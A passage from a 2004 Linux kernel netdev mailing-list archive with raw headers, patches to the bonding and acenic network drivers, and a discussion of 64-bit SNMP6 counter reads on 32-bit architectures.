bond_alb_xmit(struct sk_buff *skb, struct net_device *bond_dev); void bond_alb_monitor(struct bonding *bond); int bond_alb_set_mac_address(struct net_device *bond_dev, void *addr); - +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id); #endif /* __BOND_ALB_H__ */ diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:24 2004 @@ -676,6 +676,11 @@ static int bond_del_vlan(struct bonding if (vlan->vlan_id == vlan_id) { list_del(&vlan->vlan_list); + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { + bond_alb_clear_vlan(bond, vlan_id); + } + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, bond->dev->name); @@ -731,6 +736,42 @@ static int bond_has_challenged_slaves(st } /** + * bond_next_vlan - safely skip to the next item in the vlans list. + * @bond: the bond we're working on + * @curr: item we're advancing from + * + * Returns %NULL if list is empty, bond->next_vlan if @curr is %NULL, + * or @curr->next otherwise (even if it is @curr itself again). + * + * Caller must hold bond->lock + */ +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr) +{ + struct vlan_entry *next, *last; + + if (list_empty(&bond->vlan_list)) { + return NULL; + } + + if (!curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + last = list_entry(bond->vlan_list.prev, + struct vlan_entry, vlan_list); + if (last == curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + next = list_entry(curr->vlan_list.next, + struct vlan_entry, vlan_list); + } + } + + return next; +} + +/** * bond_dev_queue_xmit - Prepare skb for xmit. * * @bond: bond device that got this skb for tx. diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:56:24 2004 @@ -245,6 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr); int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); #endif /* _LINUX_BONDING_H */ From davem@pizda.ninka.net Thu Jan 22 10:05:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 10:06:04 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MI5lmK032645 for ; Thu, 22 Jan 2004 10:05:50 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id JAA09380; Thu, 22 Jan 2004 09:57:23 -0800 Date: Thu, 22 Jan 2004 09:57:23 -0800 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: vnuorval@tcs.hut.fi, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6: Equal behavior in addrconf_sysctl_forward() and addrconf_sysctl_forward_strategy() Message-Id: <20040122095723.7757448b.davem@redhat.com> In-Reply-To: <20040122.200308.71158042.yoshfuji@linux-ipv6.org> References: <20040122.200308.71158042.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2674 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 22 Jan 2004 20:03:08 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > In article (at Thu, 22 Jan 2004 12:59:07 +0200 (EET)), Ville Nuorvala says: > > > If no, the patch below should fix this. > > Agreed. Please apply, David. Done, thanks everyone. From davem@pizda.ninka.net Thu Jan 22 10:15:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 10:15:26 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MIFDmK000720 for ; Thu, 22 Jan 2004 10:15:13 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id KAA09416; Thu, 22 Jan 2004 10:06:32 -0800 Date: Thu, 22 Jan 2004 10:06:32 -0800 From: "David S. Miller" To: Shmuel Hen Cc: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Message-Id: <20040122100632.05dd4f8b.davem@redhat.com> In-Reply-To: <200401221757.21240.shmulik.hen@intel.com> References: <200401221757.21240.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2675 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 22 Jan 2004 17:57:19 +0200 Shmuel Hen wrote: > Make the regular/HW accelerated xmit functions in the 8021q module > use the new set VLAN tag functionality to reduce code duplication. I'm fine with this and the ARP change, I am pretty sure. But we have way too much stuff pending for the next 2.6.x release, so I'm going to defer adding these changes until Linus puts something final out. Please resend these two changes after he does a release. Thanks. From kuznet@ms2.inr.ac.ru Thu Jan 22 10:27:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 10:27:26 -0800 (PST) Received: from yakov.inr.ac.ru ([194.67.69.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MIR1mK001468 for ; Thu, 22 Jan 2004 10:27:02 -0800 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id VAA16255; Thu, 22 Jan 2004 21:26:51 +0300 From: kuznet@ms2.inr.ac.ru Message-Id: <200401221826.VAA16255@yakov.inr.ac.ru> Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: xma@us.ibm.com (Shirley Ma) Date: Thu, 22 Jan 2004 21:26:51 +0300 (MSK) Cc: davem@redhat.com (David S. Miller), mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com In-Reply-To: from "Shirley Ma" at ñÎ× 21, 2004 11:45:30 X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2676 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Did you hear different voices? Here is a little warning. It will give corrupt values on 32 bit archs when update with 32 bit overflow happens while value is folded. To do 64 bit arithmetics you need either to serialize reader wrt writer or to do some funny tricks with detecting overflows while reading and special sequence of operations at update with proper barriers, which will be reflected in performance anyway. Essentially, this haemorhoids is the reason why they stayed 32 bit. Alexey From hch@lst.de Thu Jan 22 13:42:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 13:43:10 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MLgtmK015326 for ; Thu, 22 Jan 2004 13:42:56 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0KEHHe6007587 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Jan 2004 15:17:17 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i0KEHH9T007585; Tue, 20 Jan 2004 15:17:17 +0100 Date: Tue, 20 Jan 2004 15:17:17 +0100 From: Christoph Hellwig To: jes@wildopensource.com Cc: netdev@oss.sgi.com Subject: [PATCH] kill ancient compat cruft from acenic Message-ID: <20040120141717.GA7549@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 2677 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev This kills all the cruft needed for supporting anything other than halfway recent 2.4 and 2.6 kernels. Should make converting to the pci hotplug APIs much easier. --- 1.40/drivers/net/acenic.c Fri Sep 19 13:38:34 2003 +++ edited/drivers/net/acenic.c Tue Jan 20 16:13:44 2004 @@ -131,7 +131,6 @@ #define PCI_DEVICE_ID_SGI_ACENIC 0x0009 #endif -#if LINUX_VERSION_CODE >= 0x20400 static struct pci_device_id acenic_pci_tbl[] = { { PCI_VENDOR_ID_ALTEON, PCI_DEVICE_ID_ALTEON_ACENIC_FIBRE, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, @@ -156,38 +155,11 @@ { } }; MODULE_DEVICE_TABLE(pci, acenic_pci_tbl); -#endif - - -#ifndef MODULE_LICENSE -#define MODULE_LICENSE(a) -#endif - -#ifndef wmb -#define wmb() mb() -#endif - -#ifndef __exit -#define __exit -#endif - -#ifndef __devinit -#define __devinit __init -#endif #ifndef SMP_CACHE_BYTES #define SMP_CACHE_BYTES L1_CACHE_BYTES #endif -#ifndef SET_MODULE_OWNER -#define SET_MODULE_OWNER(dev) do{} while(0) -#define ACE_MOD_INC_USE_COUNT MOD_INC_USE_COUNT -#define ACE_MOD_DEC_USE_COUNT MOD_DEC_USE_COUNT -#else -#define ACE_MOD_INC_USE_COUNT do{} while(0) -#define ACE_MOD_DEC_USE_COUNT do{} while(0) -#endif - #ifndef SET_NETDEV_DEV #define SET_NETDEV_DEV(net, pdev) do{} while(0) #endif @@ -204,141 +176,6 @@ #define local_irq_restore(flags) __restore_flags(flags) #endif -#if (LINUX_VERSION_CODE < 0x02030d) -#define pci_resource_start(dev, bar) dev->base_address[bar] -#elif (LINUX_VERSION_CODE < 0x02032c) -#define pci_resource_start(dev, bar) dev->resource[bar].start -#endif - -#if (LINUX_VERSION_CODE < 0x02030e) -#define net_device device -#endif - - -#if (LINUX_VERSION_CODE < 0x02032a) -typedef u32 dma_addr_t; - -static inline void *pci_alloc_consistent(struct pci_dev *hwdev, size_t size, - dma_addr_t *dma_handle) -{ - void *virt_ptr; - - virt_ptr = kmalloc(size, GFP_KERNEL); - if (!virt_ptr) - return NULL; - *dma_handle = virt_to_bus(virt_ptr); - return virt_ptr; -} - -#define pci_free_consistent(cookie, size, ptr, dma_ptr) kfree(ptr) -#define pci_map_page(cookie, page, off, size, dir) \ - virt_to_bus(page_address(page)+(off)) -#define pci_unmap_page(cookie, address, size, dir) -#define pci_set_dma_mask(dev, mask) \ - (((u64)(mask) & 0xffffffff00000000) == 0 ? 0 : -EIO) -#define pci_dma_supported(dev, mask) \ - (((u64)(mask) & 0xffffffff00000000) == 0 ? 1 : 0) - -#elif (LINUX_VERSION_CODE < 0x02040d) - -/* - * 2.4.13 introduced pci_map_page()/pci_unmap_page() - for 2.4.12 and prior, - * fall back on pci_map_single()/pci_unnmap_single(). - * - * We are guaranteed that the page is mapped at this point since - * pci_map_page() is only used upon valid struct skb's. - */ -static inline dma_addr_t -pci_map_page(struct pci_dev *cookie, struct page *page, unsigned long off, - size_t size, int dir) -{ - void *page_virt; - - page_virt = page_address(page); - if (!page_virt) - BUG(); - return pci_map_single(cookie, (page_virt + off), size, dir); -} -#define pci_unmap_page(cookie, dma_addr, size, dir) \ - pci_unmap_single(cookie, dma_addr, size, dir) -#endif - -#if (LINUX_VERSION_CODE < 0x020412) -#define DECLARE_PCI_UNMAP_ADDR(ADDR_NAME) -#define DECLARE_PCI_UNMAP_LEN(LEN_NAME) -#define pci_unmap_addr(PTR, ADDR_NAME) 0 -#define pci_unmap_addr_set(PTR, ADDR_NAME, VAL) do{} while(0) -#define pci_unmap_len(PTR, LEN_NAME) 0 -#define pci_unmap_len_set(PTR, LEN_NAME, VAL) do{} while(0) -#endif - - -#if (LINUX_VERSION_CODE < 0x02032b) -/* - * SoftNet - * - * For pre-softnet kernels we need to tell the upper layer not to - * re-enter start_xmit() while we are in there. However softnet - * guarantees not to enter while we are in there so there is no need - * to do the netif_stop_queue() dance unless the transmit queue really - * gets stuck. This should also improve performance according to tests - * done by Aman Singla. - */ -#define dev_kfree_skb_irq(a) dev_kfree_skb(a) -#define netif_wake_queue(dev) clear_bit(0, &dev->tbusy) -#define netif_stop_queue(dev) set_bit(0, &dev->tbusy) -#define late_stop_netif_stop_queue(dev) do{} while(0) -#define early_stop_netif_stop_queue(dev) test_and_set_bit(0,&dev->tbusy) -#define early_stop_netif_wake_queue(dev) netif_wake_queue(dev) - -static inline void netif_start_queue(struct net_device *dev) -{ - dev->tbusy = 0; - dev->interrupt = 0; - dev->start = 1; -} - -#define ace_mark_net_bh() mark_bh(NET_BH) -#define netif_queue_stopped(dev) dev->tbusy -#define netif_running(dev) dev->start -#define ace_if_down(dev) do{dev->start = 0;} while(0) - -#define tasklet_struct tq_struct -static inline void tasklet_schedule(struct tasklet_struct *tasklet) -{ - queue_task(tasklet, &tq_immediate); - mark_bh(IMMEDIATE_BH); -} - -static inline void tasklet_init(struct tasklet_struct *tasklet, - void (*func)(unsigned long), - unsigned long data) -{ - tasklet->next = NULL; - tasklet->sync = 0; - tasklet->routine = (void (*)(void *))func; - tasklet->data = (void *)data; -} -#define tasklet_kill(tasklet) do{} while(0) -#else -#define late_stop_netif_stop_queue(dev) netif_stop_queue(dev) -#define early_stop_netif_stop_queue(dev) 0 -#define early_stop_netif_wake_queue(dev) do{} while(0) -#define ace_mark_net_bh() do{} while(0) -#define ace_if_down(dev) do{} while(0) -#endif - -#if (LINUX_VERSION_CODE >= 0x02031b) -#define NEW_NETINIT -#define ACE_PROBE_ARG void -#else -#define ACE_PROBE_ARG struct net_device *dev -#endif - -#ifndef min_t -#define min_t(type,a,b) (((a)<(b))?(a):(b)) -#endif - #ifndef ARCH_HAS_PREFETCHW #ifndef prefetchw #define prefetchw(x) do{} while(0) @@ -604,11 +441,9 @@ static int probed __initdata = 0; -int __devinit acenic_probe (ACE_PROBE_ARG) +static int __init acenic_probe(void) { -#ifdef NEW_NETINIT struct net_device *dev; -#endif struct ace_private *ap; struct pci_dev *pdev = NULL; int boards_found = 0; @@ -843,7 +678,6 @@ } -#ifdef MODULE MODULE_AUTHOR("Jes Sorensen "); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("AceNIC/3C985/GA620 Gigabit Ethernet driver"); @@ -861,7 +695,6 @@ MODULE_PARM_DESC(rx_coal_tick, "AceNIC/3C985/GA620 max clock ticks to wait from first rx descriptor arrives"); MODULE_PARM_DESC(max_rx_desc, "AceNIC/3C985/GA620 max number of receive descriptors to wait"); MODULE_PARM_DESC(tx_ratio, "AceNIC/3C985/GA620 ratio of NIC memory used for TX/RX descriptors (range 0-63)"); -#endif static void __exit ace_module_cleanup(void) @@ -960,39 +793,8 @@ } } - -int __init ace_module_init(void) -{ - int status; - - root_dev = NULL; - -#ifdef NEW_NETINIT - status = acenic_probe(); -#else - status = acenic_probe(NULL); -#endif - return status; -} - - -#if (LINUX_VERSION_CODE < 0x02032a) -#ifdef MODULE -int init_module(void) -{ - return ace_module_init(); -} - - -void cleanup_module(void) -{ - ace_module_cleanup(); -} -#endif -#else -module_init(ace_module_init); +module_init(acenic_probe); module_exit(ace_module_cleanup); -#endif static void ace_free_descriptors(struct net_device *dev) @@ -2640,8 +2442,6 @@ netif_start_queue(dev); - ACE_MOD_INC_USE_COUNT; - /* * Setup the bottom half rx ring refill handler */ @@ -2658,8 +2458,6 @@ unsigned long flags; short i; - ace_if_down(dev); - /* * Without (or before) releasing irq and stopping hardware, this * is an absolute non-sense, by the way. It will be reset instantly @@ -2731,7 +2529,6 @@ ace_unmask_irq(dev); local_irq_restore(flags); - ACE_MOD_DEC_USE_COUNT; return 0; } @@ -2787,12 +2584,6 @@ struct ace_regs *regs = ap->regs; struct tx_desc *desc; u32 idx, flagsize; - - /* - * This only happens with pre-softnet, ie. 2.2.x kernels. - */ - if (early_stop_netif_stop_queue(dev)) - return 1; restart: idx = ap->tx_prd; From davem@pizda.ninka.net Thu Jan 22 14:19:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 14:19:21 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MMJ87J001810; Thu, 22 Jan 2004 14:19:08 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id OAA10090; Thu, 22 Jan 2004 14:10:26 -0800 Date: Thu, 22 Jan 2004 14:10:26 -0800 From: "David S. Miller" To: Krishna Kumar Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c Message-Id: <20040122141026.6a728abe.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2678 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev The most portable and simple algorithm to solve this on the reader side is (and I recommend we don't special case this on 64-bit platforms just to get wider testing): u32 high, low1, low2; do { low1 = stat & 0xffffffff; rmb(); high = stat >> 32; rmb(); low2 = stat & 0xffffffff; } while (low2 < low1); Something like that. The idea is to sample the lower 32-bit twice and if it overflows resample both high and low halfs. From kumarkr@us.ibm.com Thu Jan 22 14:21:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 14:22:00 -0800 (PST) Received: from over.ny.us.ibm.com (over.ny.us.ibm.com [32.97.182.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MMLk7J002121 for ; Thu, 22 Jan 2004 14:21:46 -0800 Received: from e33.co.us.ibm.com (e33.esmtp.ibm.com [9.14.4.131]) by pokfb.esmtp.ibm.com (8.12.10/8.12.9) with ESMTP id i0MLOYIS196992 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Thu, 22 Jan 2004 16:25:17 -0500 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0MLNeFn319886; Thu, 22 Jan 2004 16:23:50 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0MLNSHB111420; Thu, 22 Jan 2004 14:23:29 -0700 Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: kuznet@ms2.inr.ac.ru Cc: davem@redhat.com (David S. Miller), kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, Shirley Ma (Shirley Ma) X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Krishna Kumar Date: Thu, 22 Jan 2004 13:18:49 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/22/2004 14:23:29 MIME-Version: 1.0 Content-type: multipart/related; Boundary="0__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5" X-archive-position: 2679 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5 Content-type: multipart/alternative; Boundary="1__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5" --1__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5 Content-type: text/plain; charset=US-ASCII Alexei, That is a good point you raised, we don't want to read the counter while the writer might change and overflow of one word can result in a really corrupt value. If 64bit counters is a good idea to implement, what I find OK to do is to penalize the readers (proc filesystem interface or netlink) but make sure that the writers don't get penalized by being forced to serialize, in effect writers must run as fast as if there were no other readers. I could think of a hack to make that happen (hopefully not too ugly :-) : #if 64_bit_system the old code is OK here. #else __u64 get_sync_data(void *mib[], int nr) { __u64 res1, res2; __u64 res3; res1 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr))); synchronize_kernel(); res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr))); if (res2 < res1) { / * Overflow, sync and re-read, the next read is guaranteed to be greater */ synchronize_kernel(); res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr))); } /* similar code for mib[1], add both into res3 return res3; } #endif static __u64 fold_field(void *mib[], int nr) { ... res += get_sync_data(mib, nr); ... } The value can reduce only once every 4gig increments, which means that reading res2 after the first sync_kernel will be less than res1 very rarely (once a few days on a fast ethernet card). In case res2 is less than res1, doing another sync_kernel and rereading of res2 is guaranteed to return a value greater than res1 because another 4Gig iterations of increments couldn't happen in the time for one context switch of all cpus. The sync_kernel is needed so that we don't read the value faster than the writer is updating the two words. Does that sound realistic for implementing 64 bit counters ? Or do you have better or simpler suggestions ? Thanks, - KK |---------+----------------------------> | | kuznet@ms2.inr.ac| | | .ru | | | Sent by: | | | netdev-bounce@oss| | | .sgi.com | | | | | | | | | 01/22/2004 10:26 | | | AM | | | | |---------+----------------------------> >-----------------------------------------------------------------------------------------------------------------| | | | To: Shirley Ma/Beaverton/IBM@IBMUS | | cc: davem@redhat.com (David S. Miller), mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, | | netdev@oss.sgi.com | | Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c | | | >-----------------------------------------------------------------------------------------------------------------| Hello! > Did you hear different voices? Here is a little warning. It will give corrupt values on 32 bit archs when update with 32 bit overflow happens while value is folded. To do 64 bit arithmetics you need either to serialize reader wrt writer or to do some funny tricks with detecting overflows while reading and special sequence of operations at update with proper barriers, which will be reflected in performance anyway. Essentially, this haemorhoids is the reason why they stayed 32 bit. Alexey --1__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Alexei,

That is a good point you raised, we don't want to read the counter while the writer
might change and overflow of one word can result in a really corrupt value.

If 64bit counters is a good idea to implement, what I find OK to do is to penalize the
readers (proc filesystem interface or netlink) but make sure that the writers don't get
penalized by being forced to serialize, in effect writers must run as fast as if there were
no other readers. I could think of a hack to make that happen (hopefully not too ugly :-) :

#if 64_bit_system
the old code is OK here.
#else
__u64 get_sync_data(void *mib[], int nr)
{
__u64 res1, res2;
__u64 res3;

res1 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr)));
synchronize_kernel();
res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr)));
if (res2 < res1) {
/ * Overflow, sync and re-read, the next read is guaranteed to be greater */
synchronize_kernel();
res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr)));
}

/* similar code for mib[1], add both into res3

return res3;
}
#endif

static __u64
fold_field(void *mib[], int nr)
{
...
res += get_sync_data(mib, nr);
...
}

The value can reduce only once every 4gig increments, which means that reading res2 after the first
sync_kernel will be less than res1 very rarely (once a few days on a fast ethernet card). In case res2
is less than res1, doing another sync_kernel and rereading of res2 is guaranteed to return a value
greater than res1 because another 4Gig iterations of increments couldn't happen in the time for one
context switch of all cpus. The sync_kernel is needed so that we don't read the value faster than the
writer is updating the two words.

Does that sound realistic for implementing 64 bit counters ? Or do you have better or simpler
suggestions ?

Thanks,

- KK

Inactive hide details for kuznet@ms2.inr.ac.rukuznet@ms2.inr.ac.ru




          kuznet@ms2.inr.ac.ru
          Sent by: netdev-bounce@oss.sgi.com

          01/22/2004 10:26 AM



To: Shirley Ma/Beaverton/IBM@IBMUS
cc: davem@redhat.com (David S. Miller), mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com
Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c


Hello!

> Did you hear different voices?

Here is a little warning. It will give corrupt values on 32 bit archs
when update with 32 bit overflow happens while value is folded.

To do 64 bit arithmetics you need either to serialize reader wrt writer
or to do some funny tricks with detecting overflows while reading and
special sequence of operations at update with proper barriers, which
will be reflected in performance anyway. Essentially, this haemorhoids
is the reason why they stayed 32 bit.

Alexey

 --1__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5-- --0__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5 Content-type: image/gif; name="pic20320.gif" Content-Disposition: inline; filename="pic20320.gif" Content-ID: <10__=07BBE4B0DFFDB8C58f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhWABDALP/AAAAAK04Qf79/o+Gm7WuwlNObwoJFCsoSMDAwGFsmIuezf///wAAAAAAAAAA AAAAACH5BAEAAAgALAAAAABYAEMAQAT/EMlJq704682770RiFMRinqggEUNSHIchG0BCfHhOjAuh EDeUqTASLCbBhQrhG7xis2j0lssNDopE4jfIJhDaggI8YB1sZeZgLVA9YVCpnGagVjV171aRVrYR RghXcAGFhoUETwYxcXNyADJ3GlcSKGAwLwllVC1vjIUHBWsFilKQdI8GA5IcpApeJQt8L09lmgkH LZikoU5wjqcyAMMFrJIDPAKvCFletKSev1HBw8KrxtjZ2tvc3d5VyKtCKW3jfz4uMKmq3xu4N0nK BVoJQmx2LGVOmrqNjjJf2hHAQo/eDwJGTKhQMcgQEEAnEjFS98+RnW3smGkZU6ncCWav/4wYOnAI TihRL/4FEwbp28BXMMcoscQCVxlepL4IGDSCyJyVQOu0o7CjmLN50OZlqWmyFy5/6yBBuji0AxFR M00oQAqNIstqI6qKHUsWRAEAvagsmfUEAImyxgbmUpJk3IklNUtJOUAVLoUr1+wqDGTE4zk+T6FG uQb3SizBCwatiiUgCBN8vrz+zFjVyQ8FWkOlg4NQiZMB5QS8QO3mpOaKnL0Z2EKvNMSILEThKhCg zMKPVxYJh23qm9KNW7pArPynMqZDiErsTMqI+LRi3QAgkFUbXpuFKhSYZALd0O5RKa2z9EYKBbpb qxIKsjUPRgD7I2XYV6wyrOw92ykExP8NW4URhknC5dKGE4v4NENQj2jXjmfNgOZDaXb5glRmXQ33 YEWQYNcZFnrYcIQLNzyTFDQNkXIff0ExVlY4srziQk43inZgL4rwxxINMvpFFAz1KOODHiu+4aEw NEjFl5B3JIKWKF3k6I9bfUGp5ZZcdunll5IA4cuHvQQJ5gcsoCWOOUwgltIwAKRxJgbIkJAQZEq0 2YliZnpZZ4BH3CnYOXldOUOfQoYDqF1LFHbXCrO8xmRsfoXDXJ6ChjCAH3QlhJcT6VWE6FCkfCco CgrMFsROrIEX3o2whVjWDjoJccN3LdggSGXLCdLEgHr1lyU3O3QxhgohNKXJCWv8JQr/PDdaqd6w 2rj1inLiGeiCJoDspAoQlYE6QWLSECehcWIYxIQES6zhbn1iImTHEQyqJ4eIxJJoUBc+3CbBuwZE V5cJPPkIjFDdeEabQbd6WgICTxiiz0f5dBKquXF6k4senwEhYGnKEFJeGrxUZy8dB8gmAXI/sPvH ESfCwVt5hTgYiqQqtdRNHQIU1PJ33ZqmzgE90OwLaoJcnMop1WiMmgkPHQRIrwgFuNV90A3doNKT mrKIN07AnGcI9BQjhCBN4RfA1qIZnMqorJCogKfGQnxSCDilTVIA0yl5ciTovgLuBDKFUDE9aQcw 9SA+rjSNf9/M1gxrj6VwDTS0IUSElMzBfsj0NFXR2kwsV1A5IF1grLgLL/r1R40BZEnuBWgmQEyb jqRwSAt6bqMCOFkvKFN2GPPkUzIm/SCF8z8pVzpbjVnMsy0vOr1hw3SaSRUhpY09v0z0J1FnwzPl fmh+xl4WtR0zGu24I4KbMQm3lnVu2oNWxI9W/lcyzA+mCKF4DBikxb/+UWtOGRiFP8qEwAayIgIA Ow== --0__=07BBE4B0DFFDB8C58f9e8a93df938690918c07BBE4B0DFFDB8C5-- From romieu@fr.zoreil.com Thu Jan 22 14:48:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 14:48:48 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MMmW7J003308 for ; Thu, 22 Jan 2004 14:48:33 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0MMlTgf010385; Thu, 22 Jan 2004 23:47:29 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com 